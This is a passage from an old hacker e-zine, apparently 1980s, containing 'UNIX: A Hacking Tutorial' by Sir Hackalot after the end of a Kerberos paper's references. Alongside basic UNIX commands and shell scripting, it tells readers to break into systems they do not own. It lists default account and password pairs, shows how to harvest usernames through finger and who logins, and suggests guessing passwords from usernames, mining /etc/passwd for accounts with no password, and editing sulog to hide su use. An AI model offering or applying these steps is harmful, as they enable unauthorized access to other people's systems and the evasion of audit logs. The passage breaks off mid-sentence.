Mechanisms in High-Level Network Protocols," Computing Surveys, Vol. 15(2), ACM (June 1983). 5. National Bureau of Standards, "Data Encryption Stan- dard," Federal Information Processing Standards Publi- cation 46, Government Printing Office, Washington, D.C. (1977). 6. S. P. Dyer, "Hesiod," in Usenix Conference Proceedings (Winter, 1988). 7. W. J. Bryant, Kerberos Programmer's Tutorial, M.I.T. Project Athena (In preparation). 8. W. J. Bryant, Kerberos Administrator's Manual, M.I.T. Project Athena (In preparation). 9. G. W. Treese, "Berkeley Unix on 1000 Workstations: Athena Changes to 4.3BSD," in Usenix Conference Proceedings (Winter, 1988). 10. C. A. DellaFera, M. W. Eichin, R. S. French, D. C. Jed- linsky, J. T. Kohl, and W. E. Sommerfeld, "The Zephyr Notification System," in Usenix Conference Proceedings (Winter, 1988). 11. M. A. Rosenstein, D. E. Geer, and P. J. Levine, in Usenix Conference Proceedings (Winter, 1988). 12. R. Sandberg, D. Goldberg, S. Kleiman, D. Walsh, and B. Lyon, "Design and Implementation of the Sun Network Filesystem," in Usenix Conference Proceedings (Summer, 1985). March 30, 1988 ============================================================================= / / / File 06 / NIA070 / / UNIX : A Hacking Tutorial / / Sir Hackalot [PHAZE] / / / [Editor's Note: This was an independant file that was release some time ago, but after talking with Sir Hackalot he gave us the go-ahead of putting it in this issue under NIA for the people that have not gotten it as an induvidual file.] ---------------------- o Intent of this file: ---------------------- This phile is geared as an UNIX tutorial at first, to let you get more familiar with the operating system. UNIX is just an operating system, as is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user- multi-tasking system, thus bringing a need for security not found on MSDOS, AppleDOS, etc. This phile will hopefully teach the beginners who do not have a clue about how to use UNIX a good start, and may hopefully teach old pros something they didn't know before. This file deals with UNIX SYSTEM V and its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2). Where Can I be found? I have no Idea. The Boards today are going Up'n'Down so fast, 3 days after you read this file, if I put a BBS in it where you could reach me, it may be down! Just look for me. I can be reached on DarkWood Castle [If it goes back up], but that board is hard to get access on, but I decided to mention it anyway. I *COULD* Have been reached on jolnet, but...... This file may have some bad spelling, etc, or discrepencies since it was spread out over a long time of writing, because of school, work, Girl friend, etc. Please, no flames. If you don't like this file, don't keep it. This is distributed under PHAZE Inc. Here are the members (and ex ones) The Dark Pawn The Data Wizard Sir Hackalot (Me) Taxi (ummm.. Busted) Lancia (Busted) The British Knight (Busted) The Living Pharoah (Busted) _____________________________________________________________________________ ------------- o Dedication: ------------- This phile is dedicated to the members of LOD that were raided in Atlanta. The members that got busted were very good hackers, especially The Prophet. Good luck to you guys, and I hope you show up again somewhere. _____________________________________________________________________________ ------------------------ o A little History, etc: ------------------------ UNIX, of course, was invented By AT&T in the 60's somewhere, to be "a programmer's operating system." While that goal was probably not reached when they first invented UNIX, it seems that now, UNIX is a programmer's OS. UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also written in C, or at least large parts of it are, thus making it a portable operating system. We know that MSDOS corresponds to IBM/clone machines, right? Well, this is not the case with UNIX. We do not associate it with any one computer since it has been adapted for many, and there are many UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version of UNIX. Remember, no matter what the name of the operating system is [BSD, UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the commands the operating system uses. Some variants may have features others do not, but they are basically similar in that they have a lot of the same commands/datafiles. When someone tries to tell you that UNIX goes along with a certain type of computer, they may be right, but remember, some computers have more than one Operating system. For instance, one person may tell you that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the only reason I stated that, was because I have seen many messages with info /comparisons in it like that, which confuse users when they see a VAX running VMS. ____________________________________________________________________________ ------------------------------- o Identifying a Unix/Logging in ------------------------------- From now on, I will be referring to all the UNIX variants/etc as UNIX, so when I say something about UNIX, it generally means all the variants (Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless I state a variant in particular. Okay. Now its time for me to tell you how a unix USUALLY greets you. First, when you call up a UNIX, or connect to one however you do, you will usually get this prompt: login: Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix, although there are BBS's that can mimic the login procedure of an OS (Operating System), thus making some people believe its a Unix. [Hah!]. Some Unixes will tell you what they are or give you a message before a login: prompt, as such: Welcome to SHUnix. Please log in. login: Or something like that. Public access Unixes [like Public BBSs] will tell you how to logon if you are a new users. Unfortunatly, this phile is not about public access Unixes, but I will talk about them briefly later, as a UUCP/UseNet/Bitnet address for mail. OK. You've gotten to the login prompt! Now, what you need to do here is enter in a valid account. An Account usually consists of 8 characters or less. After you enter in an account, you will probably get a password prompt of some sort. The prompts may vary, as the source code to the login program is usually supplied with UNIX, or is readily available for free. Well, The easiest thing I can say to do to login is basically this: Get an account, or try the defaults. The defaults are ones that came with the operating system, in standard form. The list of some of the Defaults are as follows: ACCOUNT PASSWORD ------- -------- root root - Rarely open to hackers sys sys / system / bin bin sys / bin mountfsys mountfsys adm adm uucp uucp nuucp anon anon anon user user games games install install reboot * See Below demo demo umountfsys umountfsys sync sync admin admin guest guest daemon daemon The accounts root, mountfsys, umountfsys, install, and sometimes sync are root level accounts, meaning they have sysop power, or total power. Other logins are just "user level" logins meaning they only have power over what files/processes they own. I'll get into that later, in the file permissions section. The REBOOT login is what as known as a command login, which just simply doesn't let you into the operating system, but executes a program assigned to it. It usually does just what it says, reboot the system. It may not be standard on all UNIX systems, but I have seen it on UNISYS unixes and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have not been passworded [reboot], which is real stupid, if you ask me. COMMAND LOGINS: --------------- There are "command logins", which, like reboot, execute a command then log you off instead of letting you use the command interpreter. BSD is notorious for having these, and concequently, so does MIT's computers. Here are some: rwho - show who is online finger - same who - same These are the most useful, since they will give the account names that are online, thus showing you several accounts that actually exist. Errors: ------- When you get an invalid Account name / invalid password, or both, you will get some kind of error. Usually it is the "login incorrect" message. When the computer tells you that, you have done something wrong by either enterring an invalid account name, or a valid account name, but invalid password. It does not tell you which mistake you made, for obvious reasons. Also, when you login incorrectly, the error log on the system gets updated, letting the sysops(s) know something is amiss. Another error is "Cannot change to home directory" or "Cannot Change Directory." This means that no "home directory" which is essentially the 'root' directory for an account, which is the directory you start off in. On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in /homedirectory. [Note: The / is used in directories on UNIX, not a \ ]. Most systems will log you off after this, but some tell you that they will put you in the root directory [ '/']. Another error is "No Shell". This means that no "shell" was defined for that particular account. The "shell" will be explained later. Some systems will log you off after this message. Others will tell you that they will use the regular shell, by saying "Using the bourne shell", or "Using sh" ----------------------------- Accounts In General : ----------------------------- This section is to hopefully describe to you the user structure in the UNIX environment. Ok, think of UNIX having two levels of security: absolute power, or just a regular user. The ones that have absolute power are those users at the root level. Ok, now is the time to think in numbers. Unix associates numbers with account names. each account will have a number. Some will have the same number. That number is the UID [user-id] of the account. the root user id is 0. Any account that has a user id of 0 will have root access. Unix does not deal with account names (logins) but rather the number associated with them. for instance, If my user-id is 50, and someone else's is 50, with both have absolute power of each other, but no-one else. _____________________________________________________________________________ --------------- Shells : --------------- A shell is an executable program which loads and runs when a user logs on, and is in the foreground. This "shell" can be any executable prog- ram, and it is defined in the "passwd" file which is the userfile. Each login can have a unique "shell". Ok. Now the shell that we usually will work with is a command interpreter. A command interpreter is simply something like MSDOS's COMMAND.COM, which processes commands, and sends them to the kernel [operating system]. A shell can be anything, as I said before, but the one you want to have is a command interpreter. Here are the usual shells you will find: sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has a "script" language, as do most of the command interpreters on Unix sys- tems. csh - This is the "C" shell, which will allow you to enter "C" like commands. ksh - this is the korn shell. Just another command interpreter. tcsh - this is one, which is used at MIT I believe. Allows command editing. vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS rsh - restricted shell OR remote shell. Both Explained later. There are many others, including "homemade " shells, which are programs written by the owner of a unix, or for a specific unix, and they are not standard. Remember, the shell is just the program you get to use and when it is done executing, you get logged off. A good example of a homemade shell is on Eskimo North, a public access Unix. The shell is called "Esh", and it is just something like a one-key-press BBS, but hey, its still a shell. The Number to eskimo north is 206-387-3637. [206-For-Ever]. If you call there, send Glitch Lots of mail. Several companies use Word Processors, databases, and other things as a user shell, to prevent abuse, and make life easier for unskilled computer operators. Several Medical Hospitals use this kind of shell in Georgia, and fortunatly, these second rate programs leave major holes in Unix. Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they give you a choice between a command interpreter, or a BBS as a shell. WHen you have a command interpreter, the prompt is usually a: $ when you are a root user the prompt is usually a: # The variable, PS1, can be set to hold a prompt. For instance, if PS1 is "HI:", your prompt will be: HI: _____________________________________________________________________________ ------------------------ SPecial Characters, ETc: ------------------------ Control-D : End of file. When using mail or a text editor, this will end the message or text file. If you are in the shell and hit control-d you get logged off. Control-J: On some systems, this is like the enter key. @ : Is sometimes a "null" ? : This is a wildcard. This can represent a letter. If you specified something at the command line like "b?b" Unix would look for bob,bib,bub, and every other letter/number between a-z, 0-9. * : this can represent any number of characters. If you specified a "hi*" it would use "hit", him, hiiii, hiya, and ANYTHING that starts with hi. "H*l" could by hill, hull, hl, and anything that starts with an H and ends with an L. [] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The [], ?, and * are usually used with copy, deleting files, and directory listings. EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not the same thing. This allows for many files to be able to be stored, since "Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using the [] stuff, you have to specify capital letters if any files you are dealing with has capital letters. Most everything is lower case though. ---------------- Commands to use: ---------------- Now, I will rundown some of the useful commands of Unix. I will act as if I were typing in the actual command from a prompt. ls - this is to get a directory. With no arguments, it will just print out file names in either one column or multi-column output, depending on the ls program you have access to. example: $ ls hithere runme note.text src $ the -l switch will give you extended info on the files. $ ls -l rwx--x--x sirhack sirh 10990 runme and so on.... the "rwx--x--x" is the file permission. [Explained Later] the "sirhack sirh" is the owner of the file/group the file is in. sirhack = owner, sirh = user-group the file is in [explained later] the 10990 is the size of the file in bytes. "runme" is the file name. The format varies, but you should have the general idea. cat - this types out a file onto the screen. should be used on text files. only use it with binary files to make a user mad [explained later] ex: $ cat note.txt This is a sample text file! $ cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn. the dir1/etc.... describes the directory name. Say I want to get to the root directory. ex: $ cd / *ok, I'm there.* $ ls bin sys etc temp work usr all of the above are directories, lets say. $ cd /usr $ ls sirhack datawiz prophet src violence par phiber scythian $ cd /usr/sirhack $ ls hithere runme note.text src $ ok, now, you do not have to enter the full dir name. if you are in a directory, and want to get into one that is right there [say "src"], you can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the sirhack dir, you can type "cd src" cp - this copies a file. syntax for it is "cp fromfile tofile" $ cp runme runme2 $ ls hithere runme note.text src runme2 Full pathnames can be included, as to copy it to another directory. $ cp runme /usr/datwiz/runme mv - this renames a file. syntax "mv oldname newname" $ mv runme2 runit $ ls hithere runme note.text src runit files can be renamed into other directories. $ mv runit /usr/datwiz/run $ ls hithere runme note.text src $ ls /usr/datwiz runme run pwd - gives current directory $ pwd /usr/sirhack $ cd src $ pwd /usr/sirhack/src $ cd .. $ pwd /usr/sirhack [ the ".." means use the name one directory back. ] $ cd ../datwiz [translates to cd /usr/datwiz] $ pwd /usr/datwiz $ cd $home [goto home dir] $ pwd /usr/sirhack rm - delete a file. syntax "rm filename" or "rm -r directory name" $ rm note.text $ ls hithere runme src $ write - chat with another user. Well, "write" to another user. syntax: "write username" $ write scythian scythian has been notified Hey Scy! What up?? Message from scythian on tty001 at 17:32 hey! me: So, hows life? scy: ok, I guess. me: gotta go finish this text file. scy: ok me: control-D [to exit program] $ who [w,who,whodo] - print who is online $ who login term logontime scythian + tty001 17:20 phiberO + tty002 15:50 sirhack + tty003 17:21 datawiz - tty004 11:20 glitch - tty666 66:60 $ the "who" commands may vary in the information given. a "+" means you can "write" to their terminal, a "-" means you cannot. man - show a manual page entry. syntax "man command name" This is a help program. If you wanted to know how to use... "who" you'd type $ man who WHO(1) xxx...... and it would tell you. stty - set your terminal characteristics. You WILL have to do "man stty" since each stty is different, it seems like. an example would be: $ stty -parenb to make the data params N,8,1. A lot of Unixes operate at e,7,1 by default. sz,rz - send and recieve via zmodem rx,sx - send / recieve via xmodem rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix. umodem - send/recieve via umodem. $ sz filename ready to send... $ rz filename please send your file.... ...etc.. ed - text editor. Usage "ed filename" to create a file that doesn't exist, just enter in "ed filename" some versions of ed will give you a prompt, such as "*" others will not $ ed newtext 0 * a This is line 1 This is line 2 [control-z] * 1 [to see line one] This is line 1 * a [keep adding] This is line 3 [control-z] *0a [add after line 0] This is THE first line [control-z] 1,4l This is THE first line This is line 1 This is line 2 This is line 3 * w 71 * q $ The 71 is number of bytes written. a = append l = list # = print line number w - write l fname = load fname s fname = save to fname w = write to current file q = quit mesg - turn write permissions on or off to your terminal (allow chat) format "mesg y" or "mesg n" cc - the C compiler. don't worry about this one right now. chmod - change mode of a file. Change the access in other words. syntax: "chmod mode filename" $ chmod a+r newtext Now everyone can read newtext. a = all r = read. This will be explained further in the File System section. chown - change the owner of a file. syntax: "chown owner filename" $ chown scythian newtext $ chgrp - change the group [explained later] of a file. syntax: "chgrp group file" $ chgrp root runme $ finger - print out basic info on an account. Format: finger username grep - search for patterns in a file. syntax: "grep pattern file" $ grep 1 newtext This is Line 1 $ grep THE newtext This is THE first line $ grep "THE line 1" newtext $ mail - This is a very useful utility. Obviously, you already know what it is by its name. There are several MAIL utilities, such as ELM, MUSH and MSH, but the basic "mail" program is called "mail". The usage is: "mail username@address" or "mail username" or "mail" or "mail addr1!addr2!addr3!user" "mail username@address" - This is used to send mail to someone on another system, which is usually another UNIX, but some DOS machines and some VAX machines can recieve Unix Mail. When you use "mail user@address" the system you are on MUST have a "smart mailer" [known as smail], and must have what we call system maps. The smart mailer will find the "adress" part of the command and expand it into the full pathname usually. I could look like this: mail phiber@optik then look like this to the computer: mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber Do not worry about it, I was merely explaining the principal of the thing. Now, if there is no smart mailer online, you'll have to know the FULL path name of the person you wish to mail to. For Instance, I want to mail to .. phiber. I'd do this if there were no smart mailer: $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber Hey Guy. Whats up? Well, gotta go. Nice long message huh? [control-D] $ Then, when he got it, there would be about 20 lines of information, with like a post mark from every system my message went thru, and the "from" line would look like so: >From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack Now, for local mailing, just type in "mail username" where username is the login you want to send mail to. Then type in your message. Then end it with a control-D. To read YOUR mail, just type in mail. IE: $ mail From scythian ............ To sirhack ............ Subject: Well.... Arghhh! ? The dots represent omitted crap. Each Mail program makes its own headings. That ? is a prompt. At this prompt I can type: d - delete f username - forward to username w fname - write message to a file named fname s fname - save message with header into file q - quit / update mail x - quit, but don't change a thing m username - mail to username r - reply [enter] - read next message + - go forward one message - : go back one h - print out message headers that are in your mailbox. There are others, to see them, you'd usually hit '?'. -------- If you send mail to someone not on your system, you will have to wait longer for a reply, since it is just as a letter. A "postman" has to pick it up. The system might call out, and use UUCP to transfer mail. Usually, uucp accounts are no good to one, unless you have uucp available to intercept mail. ps - process. This command allows you to see what you are actually doing in memory. Everytime you run a program, it gets assigned a Process Id number (PID), for accounting purposes, and so it can be tracked in memory, as well as shut down by you, or root. usually, the first thing in a process list given by "ps" is your shell name. Say I was logged in under sirhack, using the shell "csh" and running "watch scythian". The watch program would go into the background, meaning I'd still be able to do things while it was running: $ ps PID TTY NAME 122 001 ksh 123 001 watch $ That is a shortened PS. That is the default listing [a brief one]. The TTY column represents the "tty" [i/o device] that the process is being run from. This is only useful really if you are using layers (don't worry) or more than one person is logged in with the same account name. Now, "ps -f" would give a full process listing on yourself, so instead of seeing just plain ole "watch" you'd most likely see "watch scythian" kill - kill a process. This is used to terminate a program in memory obvio- ously. You can only kill processes you own [ones you started], unless you are root, or your EUID is the same as the process you want to kill. (Will explain euid later). If you kill the shell process, you are logged off. By the same token, if you kill someone else's shell process, they are logged off. So, if I said "kill 122" I would be logged off. However, kill only sends a signal to UNIX telling it to kill off a process. If you just use the syntax "kill pid" then UNIX kills the process WHEN it feels like it, which may be never. So, you can specify urgency! Try "kill -num pid" Kill -9 pid is a definite kill almost instantly. So if I did this: $ kill 122 $ kill 123 $ ps PID TTY NAME 122 001 ksh 123 001 watch $ kill -9 123 [123]: killed $ kill -9 122 garbage NO CARRIER Also, you can do "kill -1 0" to kill your shell process to log yourself off. This is useful in scripts (explained later). ------------------- Shell Programmin' ------------------- Shell Programming is basically making a "script" file for the standard shell, being sh, ksh, csh, or something on those lines. Its like an MSDOS batch file, but more complex, and more Flexible. This can be useful in one aspect of hacking. First, lets get into variables. Variables obviously can be assigned values. These values can be string values, or numberic values. number=1 That would assign 1 to the variable named "number". string=Hi There or string="Hi There" Both would assign "Hi there" to a variable. Using a variable is different though. When you wish to use a variable you must procede it with a dollar ($) sign. These variables can be used as arguments in programs. When I said that scripts are like batch files, I meant it. You can enter in any name of a program in a script file, and it will execute it. Here is a sample script. counter=1 arg1="-uf" arg2="scythian" ps $arg1 $arg2 echo $counter That script would translate to "ps -uf scythian" then would print "1" after that was finished. ECHO prints something on the screen whether it be numeric, or a string constant. Other Commands / Examples: read - reads someting into a variable. format : read variable . No dollar sign is needed here! If I wwanted to get someone's name, I could put: echo "What is your name?" read hisname echo Hello $hisname What is your name? Sir Hackalot Hello Sir Hackalot Remember, read can read numeric values also. trap - This can watch for someone to use the interrupt character. (Ctrl-c) format: trap "command ; command ; command ; etc.." Example: trap "echo 'Noway!! You are not getting rid o me that easy' ; echo 'You gotta see this through!'" Now, if I hit control-c during the script after this statement was executed, I'd get: Noway!! You are not getting rid of me that easy You gotta see this through! exit : format :exit [num] This exists the shell [quits] with return code of num. ----- CASE ----- Case execution is like a menu choice deal. The format of the command or structure is : case variable in 1) command; command;; 2) command; command; command;; *) command;; esac Each part can have any number of commands. The last command however must have a ";;". Take this menu: echo "Please Choose:" echo "(D)irectory (L)ogoff (S)hell" read choice case $choice in D) echo "Doing Directory..."; ls -al ;; L) echo Bye; kill -1 0;; S) exit;; *) Echo "Error! Not a command";; esac The esac marks the end of a case function. It must be after the LAST command. Loops ----- Ok, loops. There are two loop functins. the for loops, and the repeat. repeat looks like this: repeat something somethin1 somethin2 this would repeat a section of your script for each "something". say i did this: repeat scythian sirhack prophet I may see "scythian" then sirhack then prophet on my screen. The for loop is defined as "for variable in something do .. .. done" an example: for counter in 1 2 3 do echo $counter done That would print out 1 then 2 then 3. Using TEST ---------- The format: Test variable option variable The optios are: -eq = -ne <> (not equal) -gt > -lt < -ge >= -le <= for strings its: = for equal != for not equal. If the condition is true, a zero is returned. Watch: test 3 -eq 3 that would be test 3 = 3, and 0 would be returned. EXPR ---- This is for numeric functions. You cannot simply type in echo 4 + 5 and get an answer most of the time. you must say: expr variable [or number] operator variable2 [or number] the operators are: + add - subtract * multiply / divide ? - power (on some systems) example : expr 4 + 5 var = expr 4 + 5 var would hold 9. On some systems, expr sometimes prints out a formula. I mean, 22+12 is not the same as 22 + 12. If you said expr 22+12 you would see: 22+12 If you did expr 22 + 12 you'd see: 34 SYSTEM VARIABLES ---------------- These are variables used by the shell, and are usually set in the system wide .profile [explained later]. HOME - location of your home directory. PS1 - The prompt you are given. usually $ . On BSD its usually & PATH - This is the search path for programs. When you type in a program to be run, it is not in memory; it must be loaded off disk. Most commands are not in Memory like MSDOS. If a program is on the search path, it may be executed no matter where you are. If not, you must be in the directory where the program is. A path is a set of directories basically, seperated by ":"'s. Here is a typical search path: :/bin:/etc:/usr/lbin:$HOME: When you tried to execute a program, Unix would look for it in /bin, /etc, /usr/lbin, and your home directory, and if its not found, an error is spewed out. It searches directories in ORDER of the path. SO if you had a program named "sh" in your home directory, and typed in "sh", EVEN if you were in your home dir, it would execute the one in /bin. So, you must set your paths wisely. Public access Unixes do this for you, but systems you may encounter may have no path set. TERM - This is your terminal type. UNIX has a library of functions called "CURSES" which can take advantage of any terminal, provided the escape codes are found. You must have your term set to something if you run screen oriented programs. The escape codes/names of terms are found in a file called TERMCAP. Don't worry about that. just set your term to ansi or vt100. CURSES will let you know if it cannot manipulate your terminal emulation. ------------------- The C compiler ------------------- This Will be BRIEF. Why? Becuase if you want to learn C, go buy a book. I don't have time to write another text file on C, for it would be huge. Basically, most executables are programmed in C. Source code files on unix are found as filename.c . To compile one, type in "cc filename.c". Not all C programs will compile, since they may depend on other files not there, or are just modules. If you see a think called "makefile" you can usually type in just "make" at the command prompt, and something will be compiled, or be attempted to compile. When using make or CC, it would be wise to use the background operand since compiling sometimes takes for ever. IE: $ cc login.c& [1234] $ (The 1234 was the process # it got identified as). _____________________________________________________________________________ --------------- The FILE SYSTEM --------------- This is an instrumental part of UNIX. If you do not understand this section, you'll never get the hang of hacking Unix, since a lot of Pranks you can play, and things you can do to "raise your access" depend on it. First, Let's start out by talking about the directory structure. It is basically a Hiearchy file system, meaning, it starts out at a root directory and expands, just as MSDOS, and possibly AmigaDos. Here is a Directory Tree of sorts: (d) means directory / (root dir) | |--------------------| bin (d) usr (d) ----?-------------------- | | | sirhack(d) scythian (d) prophet (d) | src (d) Now, this particular system contains the following directories: / /bin /usr /usr/sirhack /usr/sirhack/src /usr/scythian /usr/prophet Hopefully, you understood that part, and you should. Everything spawns from the root directory. o File Permissions! ------------------ Now, this is really the biggie. File Permissions. It is not that hard to understand file permissions, but I will explain them deeply anyway. OK, now you must think of user groups as well as user names. Everyone belongs to a group. at the $ prompt, you could type in 'id' to see what group you are in. Ok, groups are used to allow people access certain things, instead of just having one person controlling/having access to certain files. Remember also, that Unix looks at someone's UID to determine access, not user name. Ok. File permissions are not really that complicated. Each file has an owner This OWNER is usually the one who creates the file, either by copying a file or just by plain editing one. The program CHOWN can be used to give someone ownership of a file. Remember that the owner of a file must be the one who runs CHOWN, since he is the only one that can change the permissions of a file Also, there is a group owner, which is basically the group that you were in when the file was created. You would use chgrp to change the group a file is in. Now, Files can have Execute permissions, read permissions, or write permission. If you have execute permission, you know that you can just type in the name of that program at the command line, and it will execute. If you have read permission on a file, you can obviously read the file, or do anything that reads the file in, such as copying the file or cat[ing] it (Typing it). If you do NOT have access to read a file, you can't do anything that requires reading in the file. This is the same respect with write permission. Now, all the permissions are arranged into 3 groups. The first is the owner's permissions. He may have the permissions set for himself to read and execute the file, but not write to it. This would keep him from deleting it. The second group is the group permissions. Take an elongated directory for an example: $ ls -l runme r-xrwxr-- sirhack root 10990 March 21 runme ok. Now, "root" is the groupname this file is in. "sirhack" is the owner. Now, if the group named 'root' has access to read, write and execute, they could do just that. Say .. Scythian came across the file, and was in the root user group. He could read write or execute the file. Now, say datawiz came across it, but was in the "users" group. The group permissions would not apply to him, meaning he would have no permissions, so he couldn't touch the file, right? Sorta. There is a third group of permissions, and this is the "other" group. This means that the permissions in the "other" group apply to everyone but the owner, and the users in the same group as the file. Look at the directory entry above. the r-x-rwxr-- is the permissions line. The first three characters are the permissions for the owner (r-x). The "r-x" translates to "Read and execute permissions, but no write permissions" the second set of three, r-xRWXr-- (the ones in capital letters) are the group permissions. Those three characters mean "Read, write, and execution allowed" The 3rd set, r-xrwxR-- is the permissions for everyone else. It means "Reading allowed, but nothing else". A directory would look something like this: $ ls -l drwxr-xr-x sirhack root 342 March 11 src A directory has a "d" at the beggining of the permissions line. Now, the owner of the directory (sirhack) can read from the directory, write in the directory, and execute programs from the directory. The root group and every- one else can only read from the directory, and execute off the directory. So, If I changed the directory to be executable only, this is what it would look like: $ chmod go-r $ ls drwx--x--x sirhack root 342 March 11 src Now, if someone went into the directory besides "sirhack", they could only execute programs in the directory. If they did an "ls" to get a directory of src, when they were inside src, it would say "cannot read directory". If there is a file that is readable in the directory, but the directory is not readable, it is sometimes possible to read the file anyway. If you do not have execute permissions in a directory, you won't be able to execute anything in the directory, most of the time. _____________________________________________________________________________ -------------- Hacking: -------------- The first step in hacking a UNIX is to get into the operating system by finding a valid account/password. The object of hacking is usually to get root (full privileges), so if you're lucky enough to get in as root, you need not read anymore of this hacking phile , and get into the "Having Fun" Section. Hacking can also be just to get other's accounts also. Getting IN ---------- The first thing to do is to GET IN to the Unix. I mean, get past the login prompt. That is the very first thing. When you come across a UNIX, sometimes it will identify itself by saying something like, "Young INC. Company UNIX" or Just "Young Inc. Please login" Here is where you try the defaults I listed. If you get in with those you can get into the more advanced hacking (getting root). If you do something wrong at login, you'll get the message "login incorrect" This was meant to confuse hackers, or keep the wondering. Why? Well, you don't know if you've enterred an account that does not exist, or one that does exist, and got the wrong password. If you login as root and it says "Not on Console", you have a problem. You have to login as someone else, and use SU to become root. Now, this is where you have to think. If you cannot get in with a default, you are obviously going to have to find something else to login as. Some systems provide a good way to do this by allowing the use of command logins. These are ones which simply execute a command, then logoff. However, the commands they execute are usually useful. For instance there are three common command logins that tell you who is online at the present time. They are: who rwho finger If you ever successfully get one of these to work, you can write down the usernames of those online, and try to logon as them. Lots of unsuspecting users use there login name as their password. For instance, the user "bob" may have a password named "bob" or "bob1". This, as you know, is not smart, but they don't expect a hacking spree to be carried out on them. They merely want to be able to login fast. If a command login does not exist, or is not useful at all, you will have to brainstorm. A good thing to try is to use the name of the unix that it is identified as. For instance, Young INC's Unix may have an account named "young" Young, INC. Please Login. login: young UNIX SYSTEM V REL 3.2 (c)1984 AT&T.. .. .. .. Some unixes have an account open named "test". This is also a default, but surprisingly enough, it is sometimes left open. It is good to try to use it. Remember, brainstorming is the key to a unix that has no apparent defaults open. Think of things that may go along with the Unix. type in stuff like "info", "password", "dial", "bbs" and other things that may pertain to the system. "att" is present on some machines also. ONCE INSIDE -- SPECIAL FILES ---------------------------- There are several files that are very important to the UNIX environment. They are as follows: /etc/passwd - This is probably the most important file on a Unix. Why? well, basically, it holds the valid usernames/passwords. This is important since only those listed in the passwd file can login, and even then some can't (will explain). The format for the passwordfile is this: username:password:UserID:GroupID:description(or real name):homedir:shell Here are two sample entries: sirhack:89fGc%?7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh demo::101:100:Test Account:/usr/demo:/usr/sh In the first line, sirhack is a valid user. The second field, however, is supposed to be a password, right? Well, it is, but it's encrypted with the DES encryption standard. the part that says "&a,Ty" may include a date after the comma (Ty) that tells unix when the password expires. Yes, the date is encrypted into two alphanumeric characters (Ty). In the Second example, the demo account has no password. so at Login, you could type in: login: demo UNIX system V (c)1984 AT&T .. .. But with sirhack, you'd have to enter a password. Now, the password file is great, since a lot of times, you;ll be able to browse through it to look for unpassworded accounts. Remember that some accounts can be restricted from logging in, as such: bin:*:2:2:binaccount:/bin:/bin/sh The '*' means you won't be able to login with it. Your only hope would be to run an SUID shell (explained later). A note about the DES encryption: each unix makes its own unique "keyword" to base encryption off of. Most of the time its just random letters and numbers. Its chosen at installation time by the operating system. Now, decrypting DES encrypted things ain't easy. Its pretty much impossible. Especially decrypting the password file (decrypting the password field within the password file to be exact). Always beware a hacker who says he decrypted a password file. He's full of shit. Passwords are never decrypted on unix, but rather, a system call is made to a function called "crypt" from within the C language, and the string you enter as the password gets encrypted, and compared to the encrypted password. If they match, you're in. Now, there are password hackers, but they donot decrypt the password file, but rather, encrypt words from a dictionary and try them against every account (by crypting/comparing) until it finds a match (later on!). Remember, few, if none, have decrypted the password file successfuly. /etc/group - This file contains The valid groups. The group file is usually defined as this: groupname:password:groupid:users in group Once again, passwords are encrypted here too. If you see a blank in the password entry you can become part of that group by using the utility "newgrp". Now, there are some cases in which even groups with no password will allow only certain users to be assigned to the group via the newgrp command. Usually, if the last field is left blank, that means any user can use newgrp to get that group's access. Otherwise, only the users specified in the last field can enter the group via newgrp. Newgrp is just a program that will change your group current group id you are logged on under to the one you specify. The syntax for it is: newgrp groupname Now, if you find a group un passworded, and use newgrp to enter it, and it asks for a password, you are not allowed to use the group. I will explain this further in The "SU & Newgrp" section. /etc/hosts - this file contains a list of hosts it is connected to thru a hardware network (like an x.25 link or something), or sometimes just thru UUCP. This is a good file when you are hacking a large network, since it tells you systems you can use with rsh (Remote Shell, not restricted shell), rlogin, and telnet, as well as other ethernet/x.25 link programs. /usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in Several directories, but it is usually in /usr/adm. This file is what it sounds like. Its a log file, for the program SU. What it is for is to keep a record of who uses SU and when. whenever you use SU, your best bet would be to edit this file if possible, and I'll tell you how and why in the section about using "su". /usr/adm/loginlog or /usr/adm/acct/loginlog - This is a log file, keeping track of the logins. Its purpose is merely for accounting and "security review". Really, sometimes this file is never found, since a lot of systems keep the logging off. /usr/adm/errlog or errlog - This is the error log. It could be located anywhere. It keeps track of all serious and even not so serious errors. Usually, it will contain an error code, then a situation. the error code can be from 1-10, the higher the number, the worse the error. Error code 6 is usually used when you try to hack. "login" logs your attempt in errlog with error code 6. Error code 10 means, in a nutshell, "SYSTEM CRASH". /usr/adm/culog - This file contains entries that tell when you used cu, where you called and so forth. Another security thing. /usr/mail/ - this is where the program "mail" stores its mail. to read a particular mailbox, so they are called, you must be that user, in the user group "mail" or root. each mailbox is just a name. for instance, if my login was "sirhack" my mail file would usually be: /usr/mail/sirhack /usr/lib/cron/crontabs - This contains the instructions for cron, usually. Will get into this later. /etc/shadow - A "shadowed" password file. Will talk about this later. -- The BIN account -- Well, right now, I'd like to take a moment to talk about the account "bin". While it is only a user level account, it is very powerful. It is the owner of most of the files, and on most systems, it owns /etc/passwd, THE most important 